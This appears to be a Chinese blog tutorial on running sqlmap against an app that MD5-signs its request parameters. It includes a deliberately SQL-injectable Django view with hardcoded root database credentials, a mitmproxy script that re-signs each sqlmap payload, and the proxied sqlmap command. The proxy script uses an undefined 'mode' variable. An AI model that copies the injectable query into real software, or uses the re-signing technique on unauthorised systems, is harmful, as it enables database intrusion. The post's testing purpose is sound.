sqlmap處理sign加密的思路

我對公司的app進行測試的時候發現,我們是將所有的參數內容加上一個32位字符最后在進行md5加密。由于app處理的流程首先是驗證sign是不是正確,如果驗簽失敗,根本就進不去數據庫,為了要使用sqlmap對其進行測試,于是就寫了一個代理數據的腳本,在攔截到數據包之后,對其參數內容和32字符進行加密替換。

注:該腳本適用于公司內部系統,因為能夠知道加密的流程;或者能夠拿到前端JS的加密方式。

首先我使用django寫了一個程序來模擬公司的系統,流程是獲取POST的id和Token,并加上自定義加密的字符,由于Django獲取到數據是已經經過URLDECODE,所以我用了quote對參數id的內容進行URLENCODE,再進行MD5加密,最后驗證請求過來的token是否和參數內容一致。

views.py  from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt  @csrf_exempt def index(request):     id = request.POST.get("id")     token = request.POST.get("token")     str = urllib.quote(id+"test")     print(str)     hl = hashlib.md5()     hl.update(str)     token1 = hl.hexdigest()     print token1     if token == token1:         db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')         cursor = db.cursor()         cursor.execute("select * from t_userinfo where id="+id)         data = cursor.fetchone()         print "Database version : %s " % data         db.close()         return JsonResponse({"msg":"verity ok"})     else:         return JsonResponse({"msg":"verity error."})   models.py  class userinfo(models.Model):     name = models.CharField(max_length=100)     age = models.CharField(max_length=100)

使用BP進行抓包,可以看到當驗證正確和驗證錯誤返回的狀態。

sqlmap處理sign加密的思路sqlmap處理sign加密的思路

使用SQLMAP進行測試,發現無法測試。
sqlmap處理sign加密的思路于是我使用mitmproxy,mitmproxy是一個交互式的中間代理HTTP和https的控制臺界面,具體詳情可以看這里。

如果要修改的話,只修改wsproxy_request_handle函數,因為這個函數是攔截數據并且篡改數據的過程,其他的代碼都是配置過程和運行過程,不用修改。

from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow,  controller from mitmproxy import flow, proxy, controller, options import hashlib import re   def md5cr(str):     hl = hashlib.md5()     hl.update(str.encode(encoding='utf-8'))     return hl.hexdigest()  class WSProxy(flow.FlowMaster):     def __init__(self, opts, server, state, unsave_data):         super(WSProxy, self).__init__(opts, server, state)         self.unsave_data = unsave_data     def run(self):         try:             print("start")             flow.FlowMaster.run(self)         except KeyboardInterrupt:             self.shutdown()      @controller.handler     def request(self, f):         wsproxy_request_handle(f)      @controller.handler     def response(self, f):         wsproxy_response_handle(f)         # parser = ResponseParser(f)         # insert_result(parser.parser_data())  def wsproxy_request_handle(flow):     """wyproxy send data to server before processing"""      try:         data = flow.request.content.split("&")         t = ""         for i in data:             if i.split("=")[0] != "token":                 t = t+i.split("=")[1]         str = t+"test"         sign = md5cr(str)         print(str)         data1 = re.match("(.*?)token=",flow.request.content).group()         flow.request.content = data1+sign         print(flow.request.content)     except IndexError:         pass   def wsproxy_response_handle(flow):     pass  port = 8888  # mode = 'regular'  #mode=regular opts = options.Options(         listen_port=int(port),         mode=mode,         cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()

運行上面的腳本使用SQLMAP代理到上http://IP:8888上面,然后腳本會自動處理sqlmap的payload和生成對應的sign。

python sqlmap.py -r e:1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

sqlmap處理sign加密的思路

上面是生成payload和sign的過程,下面是我請求一個payload報錯的過程。

sqlmap處理sign加密的思路

sqlmap處理sign加密的思路

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享